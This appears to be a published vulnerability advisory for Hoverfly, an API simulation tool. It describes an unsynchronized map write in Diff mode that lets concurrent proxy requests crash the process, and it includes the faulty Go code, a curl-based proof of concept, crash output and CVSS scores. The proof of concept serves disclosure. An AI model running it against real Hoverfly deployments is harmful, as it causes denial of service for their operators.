Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the `AddDiff()` function…
GitHub_M·CWE-362·Published 2026-07-14
Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests. Version 1.12.8 patches the issue.
Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests. Version 1.12.8 patches the issue.
Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode in github.com/SpectoLabs/hoverfly
### Summary: When Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests. ### Details: **1. Unsynchronized map access in `AddDiff()` (`core/hoverfly_service.go:417-421`):** ```go func (hf *Hoverfly) AddDiff(requestView v2.SimpleRequestDefinitionView, diffReport v2.DiffReport) { if len(diffReport.DiffEntries) > 0 { diffs := hf.responsesDiff[requestView] // UNSYNCHRONIZED READ hf.responsesDiff[requestView] = append(diffs, diffReport) // UNSYNCHRONIZED WRITE } } ``` **2. This function is called from Diff mode processing, which runs concurrently per request (`core/modes/diff_mode.go`):** Each incoming proxy request is handled in its own goroutine by Go's `net/http` server. In Diff mode, each request calls `AddDiff()` after comparing the simulated and actual responses. With multiple concurrent requests, multiple goroutines write to the same map simultaneously. **3. Go's runtime detects concurrent map access and terminates the process:** Unlike data races on simple values (which produce undefined behavior silently), Go's map implementation includes a built-in concurrent access check. When two goroutines access the same map and at least one is writing, the runtime calls `fatal()` which is unrecoverable, it cannot be caught by `recover()`. **4. No mutex protection exists on `responsesDiff`:** The field is declared as a plain `map[v2.SimpleRequestDefinitionView][]v2.DiffReport` with no associated `sync.RWMutex`. Compare with `hf.state` which properly uses `sync.RWMutex` for its map access. ### Environment: - **Hoverfly version:** v1.12.7 - **Operating System:** macOS Darwin 25.4.0 - **Go version:** 1.26.2 - **Configuration:** Hoverfly in Diff mode (`PUT /api/v2/hoverfly/mode {"mode":"diff"}`) ### POC: **Step 1: Start Hoverfly and set Diff mode** ```bash ./hoverfly & sleep 2 # Set diff mode curl -X PUT http://localhost:8888/api/v2/hoverfly/mode \ -H "Content-Type: application/json" \ -d '{"mode": "diff"}' # Load a simulation for diff comparison curl -X PUT http://localhost:8888/api/v2/simulation \ -H "Content-Type: application/json" \ -d '{ "data": { "pairs": [{ "request": {"path": [{"matcher": "glob", "value": "*"}]}, "response": {"status": 200, "body": "expected"} }], "globalActions": {"delays": [], "delaysLogNormal": []} }, "meta": {"schemaVersion": "v5.2"} }' ``` **Step 2: Send concurrent requests to trigger the race** ```bash # Send 50 concurrent requests, race condition triggers within seconds for i in $(seq 1 50); do curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" & done wait ``` **Step 3: Observe the crash** ```bash # Check if process is still running pgrep -f hoverfly ``` **crash output on Hoverfly v1.12.7:** ``` fatal error: concurrent map read and map write goroutine 892 [running]: github.com/SpectoLabs/hoverfly/core.(*Hoverfly).AddDiff(...) /core/hoverfly_service.go:419 github.com/SpectoLabs/hoverfly/core/modes.(*DiffMode).Process(...) ``` The process crashes with ~50 concurrent requests. In production with real traffic, it crashes almost immediately. ### Impact: - **Full denial of service:** The process terminates immediately and cannot be recovered without a restart - **Trivial exploitation:** Any attacker with proxy access can trigger this by sending multiple concurrent requests - **No admin API access required:** Only proxy port access is needed to trigger the crash - **Unrecoverable:** `fatal error` in Go cannot be caught by `recover()` — the process is unconditionally killed - **Affects all Diff mode users:** Any team using Diff mode for API comparison testing is vulnerable
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | cve.org | 7.5 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Primary | cve.org | 7.5 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Secondary | GHSA | 7.5 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Secondary | NVD | 7.5 | 3.9 | 3.6 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Secondary | ENISA EUVD | 7.5 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |